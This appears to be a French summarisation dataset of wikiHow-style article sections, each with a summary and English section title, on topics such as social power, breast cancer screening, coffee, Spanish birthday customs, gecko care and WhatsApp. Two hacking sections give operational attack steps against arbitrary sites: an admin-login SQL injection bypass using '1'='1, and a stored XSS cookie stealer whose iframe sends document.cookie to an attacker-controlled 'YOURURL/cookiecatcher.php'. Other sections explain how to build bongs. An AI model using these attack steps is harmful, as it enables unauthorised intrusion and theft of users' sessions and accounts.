pour cela, il faut être attentif et véridique. Si les gens redoutent l'idée de travailler avec vous, ils rejetteront probablement la possibilité même de travailler pour vous. Apprenez à accepter les idées émises par les autres et laissez-vous inspirer par eux. Lorsqu'un conflit survient, il faut le gérer de façon juste au lieu de procéder avec mesquinerie. Plutôt que de faire une fixation sur les fautes des autres, aidez-les à les régler. De même, lorsque quelqu'un met le doigt sur les erreurs que vous commettez, acceptez simplement la critique et apprenez à vous améliorer à partir de là. Même s'il est important d'avoir une bonne réputation auprès de tous ceux que vous côtoyez, vous devriez porter une attention particulière aux relations que vous entretenez avec les personnes déjà influentes. En fait, vous devriez activement chercher à côtoyer des personnes puissantes. Établir des connexions avec les bonnes personnes vous mettra plus facilement sur le bon chemin. Les conflits sont inévitables, il ne sert donc à rien de les fuir. Prenez l'habitude de gérer les situations avec autant de retenue et de calme que possible, mais n'ayez pas non plus peur d'exprimer votre colère. En matière d'influence, la colère est tout au moins meilleure au regret ou à la tristesse. Il est toujours possible de faire preuve de compréhension et de pardonner. Ceci étant, les gens ne rechercheront généralement pas le pardon si vous passez votre temps à présenter des excuses et à éprouver des regrets pour eux. Le fait de vous laisser aller à la colère ne signifie pas que vous devez être sans pitié, cela veut simplement dire que vous devez montrer que vous ne vous laisserez pas faire. Vous devriez vraiment faire l'effort de vous entendre avec le maximum de gens, mais dans le même temps, gardez à l'esprit que vous ne pouvez pas plaire à tout le monde. N'ayez pas peur d'aller à l'opposé de la tendance générale et d'attirer l'attention sur le mauvais côté d'une personne. Si vous travaillez à vous adapter aux critères de quelqu'un d'autre, vous ne deviendrez jamais influent et n'aurez pas un certain standing. En règle générale, le fait d'être franc sans passer quoi que ce soit sous silence frustrera certaines personnes, mais vous ne pouvez pas laisser cela vous empêcher d'agir comme vous devez le faire. Faites preuve de tact et d'ouverture d'esprit. Soyez également disposé à faire des compromis au besoin. Cependant, lorsque l'on vous pousse à bout, n'ayez pas peur de marcher sur les platebandes des autres pour bien faire les choses.

english_section_name: Utilizing Powerful Social Skills

summary: Trouvez le rôle adéquat. Réfléchissez à ce qui vous rendait puissant. Adoptez une posture expressive et forte. Posez des actes forts avant de devenir une personne puissante. Restez fidèle à votre propre vision. Enfreignez quelques règles. Prenez des responsabilités. Faites attention à votre bienêtre.

document: Vous deviendrez plus facilement une personne puissante si vous vous mettez dans une position qui vous semble naturellement adaptée. Trouvez une activité que vous vous sentez à l'aise d'exécuter, puis lancez-vous et tracez votre chemin vers le pouvoir à partir de là .  Vous devriez en particulier essayer de jouer des rôles de leadeurship dans lesquels vous vous sentez à l'aise, même s'ils ne sont pas directement liés au domaine dans lequel vous souhaitez devenir influent. Par exemple, vous pourriez prendre sur vous la responsabilité de diriger un petit groupe à l'église même si votre objectif est de devenir incontournable au bureau. Vous avez la possibilité de développer une personnalité plus puissante si vous vous mettez à des postes de responsabilité. Cela peut ensuite se ressentir dans les autres domaines de votre vie. Il est possible que vous ayez été influent par le passé, même si cela semble mineur comparativement à ce que vous recherchez en ce moment. Lorsque vous sentez que votre détermination commence à faiblir, souvenez-vous des moments passés et pensez à l'autorité que vous aviez. Ces moments peuvent pratiquement être relatifs à tous les aspects de votre vie. Par exemple, vous pourriez choisir une réalisation académique remarquable, comme l'obtention d'un diplôme avec mention ou même une réalisation personnelle, comme parvenir à arrêter de fumer. Peu importe l'évènement que vous choisissez, sachez que l'objectif, c'est de mettre l'accent sur la sensation de pouvoir plutôt que sur l'évènement lui-même. Même si cela n'est pas toujours vérifié, les personnalités puissantes ont tendance à avoir un langage corporel expansif qui les amène à être plus influentes. Un tel langage peut montrer aux autres que vous avez confiance en vous, ce qui pourrait les amener à vous voir comme une personne encore plus puissante.  Adopter un langage corporel expansif peut revenir à avoir de nouvelles habitudes. Parmi ces dernières, il y a notamment le fait de croiser les bras, de croiser les jambes pour que vos genoux émergent, d'étendre vos jambes de façon à ce qu'elles dépassent la limite de la chaise ou de mettre vos mains à la hanche. En revanche, vous adoptez une posture étriquée lorsque vous pliez vos jambes sous la chaise, baissez vos épaules ou tenez vos mains sur les côtés. Pour cela, vous devrez faire preuve d'audace et avoir beaucoup confiance en vous. Si vous attendez d'être influent avant d'agir ou de défendre vos opinions, vous attendrez probablement indéfiniment . N'ayez pas peur du changement et ne soyez pas non plus effrayé à l'idée de prendre des risques. Même si vous ressentez de la peur, vous devez agir comme si ce n'était pas le cas. Le pouvoir fonctionne en cycle. Lorsque les autres vous considèrent comme une personne influente, ils vous traiteront naturellement comme telle. Cela peut même les amener à vous investir d'un pouvoir que vous n'aviez pas auparavant. Sachez ce que vous voulez et travaillez à l'obtenir sans tenir compte de l'avis des autres. Dans le même esprit, ne défendez jamais une cause parce que c'est la tendance du moment. Lorsque vous suivez votre propre vision, n'en parlez pas constamment. Sinon, vous pourrez donner l'impression que vous recherchez l'approbation des autres, ce qui vous met dans une position moins influente. N'ayez pas peur de faire preuve de créativité et de briser quelques règles ou conventions sociales mineures. L'innovation requiert souvent un acte de foi. Par ailleurs, le fait d'enfreindre avec subtilité une convention sociale mineure peut également montrer aux autres que vous êtes une personne suffisamment puissante pour vous en sortir malgré cela. La clé dans ce cas, c'est de déterminer les règles qui sont intouchables et celles qui peuvent être enfreintes. Il n'existe pas une façon unique de le faire étant donné que les circonstances peuvent considérablement varier, mais en règle générale, contentez-vous de briser une règle qu'il est nécessaire d'enfreindre. Recherchez des domaines qui pourraient être améliorés si les règles actuelles étaient un peu revues et voyez ce que vous pouvez faire pour vous libérer des restrictions inutiles. Lorsque les choses tournent mal, ne désignez pas des fautifs et ne passez pas votre temps à ressasser les erreurs qui ont été faites par le passé. Au lieu de cela, acceptez de les corriger et tirez des leçons de cette mauvaise expérience . L'échec fait partie de la vie et les personnalités puissantes n'ont pas peur de l'admettre. La clé, c'est d'accepter cette réalité et de travailler de manière proactive à la corriger. Au lieu de chercher à déterminer qui est le plus fautif dans une situation, vous pouvez profiter de l'occasion pour renforcer votre position en déclarant simplement : « je vais m'occuper de cela. » Cela inclut votre bienêtre mental et physique. Si vous n'êtes pas au mieux de votre forme, vous n'aurez pas un impact puissant.  Prendre soin de votre santé physique est une chose plutôt simple à réaliser. En effet, il vous suffit de bien vous nourrir, de vous entrainer suffisamment pour rester en forme et de dormir convenablement pour favoriser le bon fonctionnement de votre organisme. Prendre soin de votre santé mentale et émotionnelle pourrait par contre être un peu compliqué, mais en règle générale, vous devriez prendre le temps de vous détendre et de vous reconnecter aux personnes ainsi qu'aux choses importantes à vos yeux. Ne vous laissez pas entrainer dans la quête à la puissance au point de laisser votre objectif vous consumer.

english_section_name: Building a Powerful Person


summary: Prenez conscience de l'importance des facteurs de risque. Soyez conscient des prédispositions génétiques. Comprenez l'impact de votre historique médical. Comprenez l'impact de votre style de vie.

document: Une détection précoce du cancer de la poitrine est vitale. Si vous présentez un des facteurs de risque, assurez-vous de vous examiner régulièrement la poitrine. Passez une mammographie chaque fois que vous repérez une bosse, que vous courez un risque plus élevé ou que vous avez plus de quarante ans . Les femmes présentent un risque plus élevé de cancer du sein que les hommes. En plus, si vous avez des parents proches (par exemple votre mère ou votre sœur) qui ont développé un cancer du sein, votre risque d'en avoir un augmente aussi . Il existe aussi des mutations génétiques héréditaires qui prédisposent à un risque plus élevé de cancer du sein. Ces mutations sont présentes sur les gènes BRCA1 et BRCA2. Entre 5 et 10 % des cancers du sein sont le résultat de mutations génétiques .  Les femmes de race caucasienne ont un risque plus élevé de cancer du sein . Certains groupes ethniques ont une tendance plus élevée à porter des mutations des gènes BRCA, par exemple les Norvégiens, les Islandais, les Hollandais et les juifs ashkénazes . Il existe de nombreux facteurs dans votre historique médical qui peuvent avoir un impact sur votre risque de cancer du sein. Les femmes qui ont déjà souffert de cancer du sein présentent un risque plus élevé d'en avoir un autre. Les personnes qui ont subi des radiations au niveau de la poitrine pendant leur enfance présentent aussi un risque plus élevé. En plus, d'autres facteurs médicaux comme les premières règles à l'âge de onze ans ou avant, peuvent faire augmenter ce risque. Ce risque augmente aussi si vous entrez en ménopause à un âge plus élevé que la moyenne. La prise d'hormones après le début de la ménopause fait augmenter ce risque, tout comme l'absence de grossesse . Les personnes obèses présentent un risque plus élevé de cancer du sein . Les femmes qui consomment trois boissons alcoolisées par semaine présentent 15 % de risques supplémentaires d'avoir un cancer du sein . Les fumeurs et en particulier les femmes qui ont commencé à fumer avant la naissance de leur premier enfant présentent un risque plus élevé de cancer du sein .

english_section_name: Understanding Risk Factors

summary: Rendez régulièrement visite à votre gynécologue. Passez des mammographies régulières. Soyez vigilant et demandez rapidement de l'aide. Faites de la prévention un effort de groupe.

document: Pendant votre consultation annuelle chez le gynécologue, il vérifiera votre poitrine et la présence de boules ou d'anomalies. S'il détecte quelque chose, il vous recommandera de passer une mammographie.  Si vous n'avez pas de mutuelle ou les moyens de vous rendre chez le médecin, sachez qu'il existe différents types de ressource qui peuvent vous aider à prévenir le cancer du sein. Renseignez-vous auprès des hôpitaux publics ou des cliniques qui effectuent des mammographies . Si vous ne savez pas où chercher de l'aide, faites des recherches sur Internet ou demandez à votre médecin de vous aiguiller vers un organisme qui pourra vous aider. Vous pourrez aussi trouver sur Internet une liste de cliniques gratuites. Une fois qu'elles ont passé leur quarantième année, les femmes devraient passer une mammographie tous les deux ans jusqu'à l'âge de 74 ans . Plus vous détectez le cancer du sein tôt, plus il est facile d'y survivre. Vous avez peut-être entendu que la mammographie est douloureuse, mais la douleur est momentanée et n'est pas pire que celle d'une injection. En plus, cela pourrait vous sauver la vie. Si vous présentez un risque élevé, discutez avec votre médecin de la fréquence des mammographies que vous devriez faire. Si vous présentez un risque élevé et si vous avez moins de 40 ans, il est possible que votre gynécologue vous ait déjà recommandé de passer une mammographie. La meilleure chose à faire pour détecter les symptômes du cancer du sein est de faire attention à votre corps et de connaitre votre poitrine. Si vous vous inquiétez de ce que vous avez pu trouver en examinant vous-même votre poitrine, consultez immédiatement un médecin. Gardez vos amis et les membres de votre famille en bonne santé en organisant une fête où tout le monde passe une mammographie. De cette façon, vous pouvez soulager la peur de cette expérience et aider tout le monde à se souvenir de la passer régulièrement. Envisagez de leur dire : « je sais que de nombreuses femmes ne passent pas de mammographie, car elles ont peur et parce que cela fait un peu mal, mais j'aimerais beaucoup trouver une façon de rendre cette activité plus agréable. En plus, ce sera un excellent moment à passer entre filles ! »

english_section_name: Preventing Breast Cancer

summary: Examinez-vous au même moment tous les mois. Pratiquez un examen visuel. Levez les bras et recommencez le même examen visuel. Touchez votre poitrine. Soyez au courant de la controverse apportée par cette technique.

document: Faites une croix sur c calendrier pour les jours où vous allez vous examiner. Essayez de vous examiner une fois par mois, de préférence entre cinq et sept jours après la fin de vos règles . Un examen régulier vous aidera à reconnaitre la sensation « normale » de votre poitrine. Accrochez un rappel de votre examen dans la salle de bain ou dans la chambre à coucher pour vous assurer de ne pas l'oublier. Envisagez aussi de noter dans un journal les résultats de votre examen . Faites votre examen dans une pièce qui possède un bon éclairage . Tenez-vous droit en posant vos mains sur vos hanches et regardez-vous dans le miroir. Observez votre poitrine pour voir si sa taille, sa couleur et sa forme sont normales. Si vous observez un des symptômes suivants, consultez votre médecin :   un gonflement observable en dehors de la période de vos règles une peau criblée, plissée ou gonflée des mamelons qui entrent dans le sein un déplacement de vos mamelons des rougeurs, des irritations ou une sensibilité Observez des sécrétions éventuelles au niveau de vos mamelons. Si vous en observez, vérifiez-en la couleur (jaune ou transparente) et la consistance (liquide ou laiteuse) . Observez les sécrétions au niveau des mamelons qui se produisent lorsque vous n'appuyez pas dessus. Consultez votre médecin si vous observez des sécrétions avec du sang ou des sécrétions présentes sur un seul sein . Allongez-vous. Faites se toucher l'index, le majeur et l'annulaire de votre main droite. Touchez votre poitrine avec ces trois doigts en faisant de petits cercles . Ces cercles doivent avoir une circonférence qui ne dépasse pas les deux centimètres . Touchez votre poitrine depuis la clavicule jusqu'à l'abdomen. Ensuite, en partant de l'aisselle, touchez votre poitrine jusqu'au sternum. Recommencez les mêmes étapes avec l'autre main sur le côté opposé de votre poitrine. Pour être sûr de toucher toute la zone de votre poitrine, utilisez un schéma spécial, par exemple des lignes verticales. Ensuite, levez-vous ou asseyez et recommencez. Touchez de nouveau votre poitrine. De nombreuses femmes préfèrent effectuer cette dernière étape sous la douche .  Ressentez la présence de boules ou d'autres irrégularités. Vous devez informer votre médecin de toute boule que vous trouvez. Vous devez toucher toute votre poitrine doucement, un plus fort et plus fermement lors de chacun des cercles. En d'autres termes, faites un premier cercle en appuyant doucement, puis refaites un cercle sur la même zone en appuyant un peu plus fort et un dernier cercle en appuyant fermement. Vous devez appuyer doucement pour remarquer les tissus qui se trouvent juste sous la peau. Une pression plus forte permet de sentir les tissus plus profonds et une pression plus ferme permet de toucher les tissus qui se trouvent près de la cage thoracique . Certaines études ont montré qu'un examen effectué soi-même ne permet pas de détecter plus de cancers, mais fait seulement augmenter les inquiétudes et les biopsies pratiquées. Discutez de cet examen avec votre médecin, il pourrait vous recommander simplement de vous familiariser avec votre poitrine pour pouvoir observer tout changement qui se produit.

english_section_name: Performing a Breast Self-Exam


summary: Laissez bouillir pendant deux minutes.

document: Mettez le minuteur en route quand l'eau est en ébullition. Laissez bouillir le café pendant deux bonnes minutes sans couvrir avant de retirer la casserole du feu. Le marc de café devrait tomber au fond de la casserole dès que vous avez retiré le mélange du feu.

english_section_name: Using a Saucepan

summary: Faites chauffer de l'eau. C'est prêt !

document: Sans cafetière, on peut faire bouillir de l'eau en utilisant une bouilloire, une casserole, une bouilloire électrique ou un four à microonde.  Pour faire bouillir de l'eau dans une bouilloire ou une casserole, remplissez le récipient de cuisson de suffisamment d'eau pour votre café et mettez-la sur la cuisinière. Faites chauffer à feu moyen ou vif et retirez du feu quand l'eau se met à frémir. Faites bouillir de l'eau au four à microonde en la versant dans un récipient adapté et en y introduisant une baguette en bois ou tout autre ustensile non métallique. Faites chauffer pendant une à deux minutes jusqu'à ce que l'eau se mette à frémir. Chauffez de l'eau avec une bouilloire électrique en remplissant l'appareil d'eau et en le branchant dans une prise de courant. Attendez l'extinction du voyant lumineux qui indique que l'eau se met à bouillir.

english_section_name: Using Instant Coffee

summary: Laissez macérer le café.

document: Laissez reposer le café pendant trois minutes. Remuez bien et laissez agir encore trois autres minutes. Le temps de pause peut varier suivant le type de café que vous utilisez et si vous le préférez plus ou moins fort. Ce temps de pause est valable pour un bol de café standard produit avec du café moulu ordinaire.

english_section_name: Using a Strainer

summary: Portez l'eau à ébullition.

document: Envisagez d'utiliser une bouilloire, une casserole, un four à microonde ou une bouilloire électrique, suivant ce que vous avez en votre possession.  La bouilloire est le meilleur choix, mais les casseroles font aussi l'affaire. Remplissez la bouilloire ou la casserole de suffisamment d'eau pour votre pot de café. Mettez-le sur la cuisinière et laissez cuire à feu moyen jusqu'à ce que l'eau frémisse. Chauffez l'eau au four à microonde dans un récipient adapté. Ajoutez-y une baguette en bois ou un autre ustensile non métallique pour empêcher l'eau de cuire trop vite et chauffez à raison de deux fois une minute jusqu'à ce que l'eau soit suffisamment chaude. Vous pouvez faire chauffer de l'eau dans une bouilloire électrique en ajoutant simplement de l'eau dans l'appareil, en le branchant et en attendant que le voyant lumineux s'éteigne pour indiquer que l'eau bout.

english_section_name: Using a French Press

summary: Chauffez de l'eau. Laissez infuser.

document: Servez-vous d'une bouilloire, d'une casserole, d'un four à microonde ou d'une bouilloire électrique.  Si vous faites chauffer l'eau dans une bouilloire ou une casserole, mettez-y suffisamment d'eau et mettez-la sur le feu moyen ou vif de la cuisinière. Pour chauffer l'eau au microonde, mettez l'eau dans un récipient adapté avec une baguette de bois ou un autre ustensile non métallique. Faites chauffer à intervalles de une minute. Remplissez une bouilloire électrique de la quantité d'eau dont vous avez besoin et branchez-la. Laissez chauffer jusqu'à ce que l'eau soit frémissante. Laissez infuser le café pendant trois à quatre minutes.   Si vous préférez un café plus fort, vous pouvez le laisser infuser de quatre à cinq minutes. Pour un café plus léger, laissez infuser entre deux et trois minutes. Il est inutile de remuer à ce stade de la procédure.

english_section_name: Using a Filter


summary: Dites ¡Feliz cumpleaños! Utilisez felicidades pour exprimer des félicitations générales. Souhaitez-lui de nombreux autres anniversaires à venir. Chantez « joyeux anniversaire » en espagnol.

document: Cette phrase signifie « joyeux anniversaire » et vous pouvez l'utiliser pour souhaiter un joyeux anniversaire à quelqu'un. Elle est appropriée dans toutes les situations. Vous devez la prononcer « félisse coumpléagnosse  ».  Vous pouvez aussi ajouter le nom de cette personne ou la relation que vous entretenez si vous le voulez. Par exemple, si vous souhaitez un joyeux anniversaire à votre mère, vous pourriez dire ¡Feliz cumpleaños madre!  Si vous voulez dire « joyeux anniversaire » d'une manière plus décontractée à un ami, vous pouvez dire feliz cumple (félisse coumplé ). Felicidades (félissidadéss) signifie « félicitations ». Même s'il pourrait sembler un peu bizarre de féliciter quelqu'un le jour de son anniversaire, c'est une formule normale chez les hispanophones. Elle est d'autant plus appropriée si vous lui avez déjà souhaité un joyeux anniversaire .  Par exemple, si vous êtes invité à la fête d'anniversaire d'un ami, vous pourriez lui dire feliz cumpleaños lorsque vous arrivez, puis felicidades lorsque vous partez. Vous pourriez aussi lui dire felicidades en tu día ce qui signifie « félicitations pour ton jour (d'anniversaire) ». Le jour de l'anniversaire de quelqu'un, il est normal de lui souhaiter une longue vie ou d'exprimer le souhait qu'il ait encore de nombreux autres anniversaires à l'avenir. Si vous voulez l'exprimer en espagnol, vous pourriez dire ¡Que cumplas muchos más! . Cela signifie littéralement « que tu en complètes de nombreux ». Cela se prononce « ké coumplasse moutcho masse ». La chanson de base pour joyeux anniversaire est la même que celle en français que vous connaissez déjà. Cependant, les paroles ne sont pas forcément la traduction directe de celles en français .  Voici les paroles de la chanson en Amérique latine : ¡Feliz cumpleaños a ti! ¡Feliz cumpleaños a ti! Feliz cumpleaños querido/a (name), feliz cumpleaños a ti. Ya queremos pastel, Ya queremos pastel, aunque sea un pedacito, pero queremos pastel.  En Espagne, d'un autre côté, vous allez chanter : Cumpleaños feliz, cumpleaños feliz, te deseamos todos, cumpleaños feliz.

english_section_name: Expressing Basic Birthday Wishes

summary: Préparez-vous à célébrer avec toute la famille. Comprenez l'importance de la quinceañera pour les filles. Mangez un gâteau aux trois laits au Mexique. Tapez dans une piñata avec un foulard sur les yeux. Regardez la personne qu'on fête se faire mettre la tête dans le gâteau. Donnez des cadeaux symboliques.

document: Dans les cultures hispanophones, un anniversaire est un évènement familial. Même si l'on invite des amis à la fête, les fêtes d'anniversaire sont traditionnellement organisées par la famille de la personne qui célèbre son anniversaire. Toute la famille, y compris les membres éloignés, est présente . Si vous êtes un ami, attendez-vous à ce que la famille soit chaleureuse, amicale et accueillante. Surtout en Espagne, vous allez vous retrouver à prendre dans vos bras de nombreuses personnes que vous ne connaissez pas. En Amérique latine, en particulier au Mexique, les quinze ans d'une fille indiquent son entrée dans le monde des femmes. L'évènement commence traditionnellement à l'église et demande une tenue formelle .  Une partie de la messe est la misa de acción de gracias pendant laquelle la jeune fille offre des remerciements pour avoir terminé son enfance. La festajada (la fille qui fête son anniversaire) reçoit généralement des cadeaux de sa famille, y compris des tiares et des bijoux. La fête inclut généralement un banquet élaboré suivi de musique et de danse qui peuvent durer jusqu'aux petites heures du matin. Le gâteau aux trois laits est un gâteau géant multicolore qu'on sert comme clou d'une fête d'anniversaire mexicaine. Ces gâteaux sont souvent décorés selon un thème qui reflète une des passions de la personne qui fête son anniversaire . Par exemple, si cette personne est un fan de football, vous pouvez vous attendre à un gâteau aux trois laits avec un glaçage qui ressemble à un terrain de football avec de petits joueurs et des supporteurs dans les gradins qui encouragent leur équipe. La piñata est l'une des traditions hispaniques les plus connues. Cette figurine de papier mâché aux couleurs vives se présente sous de nombreuses formes et tailles et est remplie de petits jouets ou de bonbons. Les invités essaient à tour de rôle de taper dedans avec un bâton jusqu'à ce qu'elle explose et laisse se déverser tous les cadeaux qu'elle contient .  Aux États-Unis et en Europe, on vend en général une piñata en forme d'âne, mais c'est une forme qu'on rencontre rarement en Amérique du Sud. La piñata pourrait avoir une forme adaptée au thème de la fête, comme le gâteau aux trois laits. Pendant que les invités essaient de la frapper avec un bâton, les autres chantent une chanson traditionnelle qui commence par dale, dale, dale. Cette chanson encourage la personne avec le bâton à bien viser et à taper dans la piñata pour la casser et faire plaisir à tout le monde avec les bonbons qu'elle contient. Au Mexique en particulier, on lie les mains de la personne qui fête son anniversaire dans son dos et son visage est alors plongé dans le gâteau d'anniversaire pour qu'elle puisse en prendre une bouchée. Toutes les personnes autour chantent ¡Mordida ! . Le mot mordida signifie « morsure ». Dans ce contexte, la chanson de la fête encourage la personne qui fête son anniversaire à prendre la première bouchée du gâteau. Les cadeaux d'anniversaire ne sont généralement pas élaborés ou chers, surtout en Espagne. Les enfants reçoivent de petits cadeaux, généralement des livres, des jouets et des bonbons. Les adultes pourraient ne pas en recevoir . Si vous n'avez pas envie de vous présenter à une fête d'anniversaire les mains vides, vous pourriez envisager d'offrir un calendrier, une tasse ou un joli stylo.

english_section_name: Celebrating Birthdays in Spain or Latin America


summary: Versez de l'eau dans une bouteille en plastique.

document: Remplissez un quart de la bouteille d'eau. N'importe quel type de plastique fera l'affaire, mais n'oubliez pas que plus elle est grande, plus le bong sera efficace. Ne vous inquiétez pas si vous avez perdu le bouchon de la bouteille, vous n'allez pas en avoir besoin . L'eau que vous versez dans la bouteille va servir de filtre à la fumée lorsque vous utiliserez votre bong.

english_section_name: Making a Plastic Bottle Bong

summary: Remplissez d'eau un récipient séparé.

document: Il doit être plus large que la bouteille. N'importe quel type de récipient fera l'affaire, par exemple un seau ou une bassine en plastique. Vous pouvez même utiliser une autre bouteille en plastique. Il vous suffit de découper le col de la bouteille avec des ciseaux pour l'ouvrir sur le haut . Laissez entre 3 et 4 cm en haut du récipient pour que l'eau ne déborde pas.

english_section_name: Building a Gravity Bong


summary: Vérifiez la température de son enclos.

document: L’appétit de votre gecko dépendra de l’environnement que vous lui avez fourni. Il ne mangera pas s’il a trop chaud ou trop froid. C’est pourquoi son enclos doit être chauffé à la bonne température .   Les geckos sont des animaux à sang froid qui ne peuvent pas réguler leur propre température corporelle. Pour garder votre animal en bonne santé et vous assurer qu’il se nourrit correctement, vous devrez lui créer des zones froides et chaudes dans son enclos. La température de la partie la plus chaude de son enclos doit être comprise entre 32 et 33 °C. Votre gecko a également besoin de se rafraichir. Une partie de son enclos doit être chauffée à environ 23 °C. Il est normal que votre gecko ait moins envie de manger en hiver et quand il fait froid.

english_section_name: Fixing Problems With Your Gecko's Cage

summary: Cherchez des signes de maladie. Nourrissez-le à la main. Prenez rendez-vous avec votre vétérinaire.

document: Une maladie ou une éventuelle blessure peut affecter l’appétit de votre gecko. Si vous pensez qu’il est malade, emmenez-le se faire examiner chez un vétérinaire. Un examen minutieux vous aidera à déceler d’éventuels signes de maladie .   Une rougeur, un gonflement ou un écoulement de pus sur son corps peut indiquer une infection de la peau. Des narines bouchées, une respiration laborieuse ou des bruits inhabituels durant la respiration peuvent indiquer un problème respiratoire. En cas de maladie métabolique des os, votre gecko aura des problèmes aux pattes ou à la mâchoire et n’arrivera pas à se tenir sur ses pattes. Il est également possible que son abdomen gonfle à cause de son incapacité à évacuer ses excréments. En cas de maladie ou d’infection, votre gecko aura également les yeux embrumés. Si votre gecko a l’habitude d’être pris dans vos bras, vous pouvez essayer de le nourrir à la main. Certaines façons de préparer les repas sont plus efficaces que d’autres et il est possible que vous deviez en tester plusieurs avant de trouver celle qui fonctionne le mieux .   Vous pouvez appliquer des nectars de fruit sur un coton-tige que vous placerez ensuite dans la bouche de votre gecko. S’il y prend gout, il commencera à lécher et à ingurgiter le nectar qui coule du coton-tige. Vous pouvez simplement saisir votre gecko dans une main et une proie dans l’autre. Présentez-lui la proie en l’approchant de sa gueule et attendez qu’il commence à manger tout seul. Si votre gecko n’attrape pas les proies vivantes dans votre main, essayez de les écraser avant de les lui donner. Une fois les proies écrasées, frottez-les doucement contre ses lèvres pour l’inciter à manger. Ne forcez pas votre gecko à manger. Il peut être difficile de diagnostiquer soi-même un problème de santé. Si votre gecko refuse de se nourrir, emmenez-le chez un vétérinaire pour le faire examiner. Le vétérinaire vous donnera un diagnostic précis et vous aidera à le soigner pour qu’il retrouve son appétit et guérisse vite .   Il est possible qu’il vous demande d’apporter un échantillon d’excrément frais. Les geckos malades doivent être isolés de leurs congénères pour prévenir la prolifération des maladies potentiellement contagieuses.

english_section_name: Addressing Your Gecko's Health


summary: Trouvez un site vulnérable. Connectez-vous en tant qu’administrateur. Soyez patient. Accédez au site Web.

document: Vous devrez trouver un site vulnérable en sachant si l’identifiant de l’administrateur du site est facilement accessible. Essayez de faire une recherche Google sur admin login.asp. Entrez admin en nom d’utilisateur et utilisez l’une des différentes combinaisons de mots de passe. Cela peut être n’importe quel nombre, un exemple assez commun est 1' ou '1'='1. Cette manœuvre nécessitera probablement plusieurs tentatives et vous ferez forcément quelques erreurs. Vous pourriez éventuellement être capable de trouver une combinaison qui vous donne un accès administrateur à un site Web, en supposant que celui-ci est vulnérable.

english_section_name: Executing Injection Attacks

summary: Apprenez un ou deux langages de programmation. Apprenez les bases du HTML. Consultez des whitehats. Faites des recherches à propos du piratage. Restez à jour.

document: Si vous voulez réellement apprendre à pirater des sites Web, vous devrez comprendre comment fonctionnent les ordinateurs et les autres technologies. Apprenez à utiliser les langages de programmation tels que Python ou SQL de façon à savoir mieux contrôler un ordinateur et identifier les vulnérabilités des systèmes. Vous devrez également acquérir une bonne compréhension des langages HTML et JavaScript si vous souhaitez pirater des sites Web. L’apprentissage peut être long, mais il existe de nombreuses méthodes gratuites sur Internet qui vous faciliteront la tâche si vous avez la volonté de vous y mettre. Ce sont des hackeurs qui utilisent leurs capacités à des fins honnêtes, principalement pour mettre en évidence les failles de sécurité sur Internet et rendre la navigation plus sure pour n’importe qui. Si vous avez envie d’apprendre l’art du piratage pour ce genre de bonne raison ou si vous voulez simplement améliorer la protection de votre site Web, il peut être une bonne idée de contacter quelques whitehats pour vous aider. Si vous souhaitez apprendre à pirater ou si vous souhaitez simplement vous protéger, vous devrez faire beaucoup de recherches. Il y a tellement de façons différentes de trouver les failles d’un site Web que vous devrez apprendre en permanence. Parce que la liste des failles potentielles est en évolution permanente, vous devrez vous assurer que vous êtes à jour sur les techniques de piratage. Le fait d’être protégé d’un certain type de hack ne signifie pas que vous serez toujours en sécurité !

english_section_name: Setting Up for Success

summary: Trouvez un site vulnérable sur lequel vous pouvez poster un contenu. Allez sur Créer un message. Créez et importez votre attrapeur de cookies. Postez un message avec votre attrapeur de cookies. Utilisez les cookies collectés.

document: Un forum est un bon exemple. Souvenez-vous que si le site est sécurisé, cela ne marchera pas. Vous devrez taper des codes spéciaux qui permettront de capturer des données sensibles lorsqu’on clique dans le « post ». Vous devrez tester si le système est capable de filtrer votre code. Postez <script>window.alert(« test »)</script> Si une boite d’alerte apparait lorsque vous cliquez sur votre post, cela signifie que le site est vulnérable aux attaques. Le but de cette attaque est de capturer les cookies d’un utilisateur, ce qui vous permettra d’accéder à ses comptes de sites Web pour lesquels ses identifiants sont vulnérables. Vous aurez besoin d’un attrapeur de cookies qui permet de capturer les cookies visés et de les rediriger vers vous. Chargez l’attrapeur de cookies sur un site auquel vous avez accès et qui prend en charge le langage php. Entrez un code spécifique dans le message qui servira ensuite à capturer les cookies et à les envoyer sur votre site. Vous devrez entrer quelques mots de texte après le code afin de réduire la suspicion et d’éviter que votre message soit effacé. Voici un exemple de code : <iframe frameborder= 0 height=0 width=0src=JavaScript... : void(document.location="YOURURL/cookiecatcher.php?c= » document.cookie)></iframe> Après les avoir collectés, vous pouvez utiliser à quelques fins que ce soient les informations des cookies qui doivent être stockées dans votre site Web.

english_section_name: Using Cross-Site Scripting


summary: Enregistrez un compte. Entrez votre nom.

document: Ouvrez WhatsApp. Sur l'écran qui s'affiche, entrez votre numéro de téléphone, puis appuyez sur le bouton Terminé.  Sélectionnez votre pays. Lorsque vous vous inscrivez, WhatsApp vous enverra un message SMS avec un code de vérification. Vous devez entrer ce code avant de pouvoir continuer. Si vous ne pouvez pas recevoir de SMS, vous pouvez solliciter un appel automatisé de WhatsApp. Sur l'écran du profil, entrez le nom que vous souhaitez utiliser sur WhatsApp. Vous pouvez utiliser votre vrai nom ou un pseudonyme.

english_section_name: Registering an Account and Creating a Profile

summary: Prenez une photo de profil. Appuyez sur le bouton permettant de prendre une photo. Prenez une photo de vous ou d'autre chose que vous souhaitez mettre en profil. Déplacez et redimensionnez l'image. Appuyez sur Terminé. Pour changer l'image, appuyez sur la photo, puis sur Modifier.

document: Le bouton d'ajout de photo diffère selon les systèmes d'exploitation des téléphones. Appuyez sur le bouton de modification d'images.  Pour pouvoir ajouter une photo de profil, vous devez être connecté à internet. Pour employer une photo existante, cliquez ici. Sur iPhone, appuyez sur OK pour permettre l'accès de WhatsApp à votre caméra.  Si vous avez un téléphone à écran tactile, utilisez vos doigts pour déplacer l'image au sein du cadre. Dézoomez et zoomez pour modifier la taille de l'image. La photo que vous avez prise apparaitra sur votre profil. Prenez une autre photo ou choisissez une photo existante pour votre profil.

english_section_name: Taking a Profile Photo

summary: Utilisez une image existante comme photo de profil. Appuyez sur le bouton permettant de choisir ou télécharger une photo existante. Choisissez une photo de profil. Déplacez et redimensionnez l'image. Appuyez sur le bouton de sélection pour sélectionner l'image.

document: Le bouton d'ajout de photo diffère selon les systèmes d'exploitation des téléphones. Appuyez sur le bouton de modification d'images. Pour pouvoir ajouter une photo de profil, vous devez être connecté à internet. Sur iPhone, appuyez sur OK pour permettre l'accès de WhatsApp à vos photos.  Si vous avez un téléphone à écran tactile, utilisez vos doigts pour déplacer l'image au sein du cadre. Dézoomez et zoomez pour modifier la taille de l'image.

english_section_name: Using an Existing Photo for your Profle

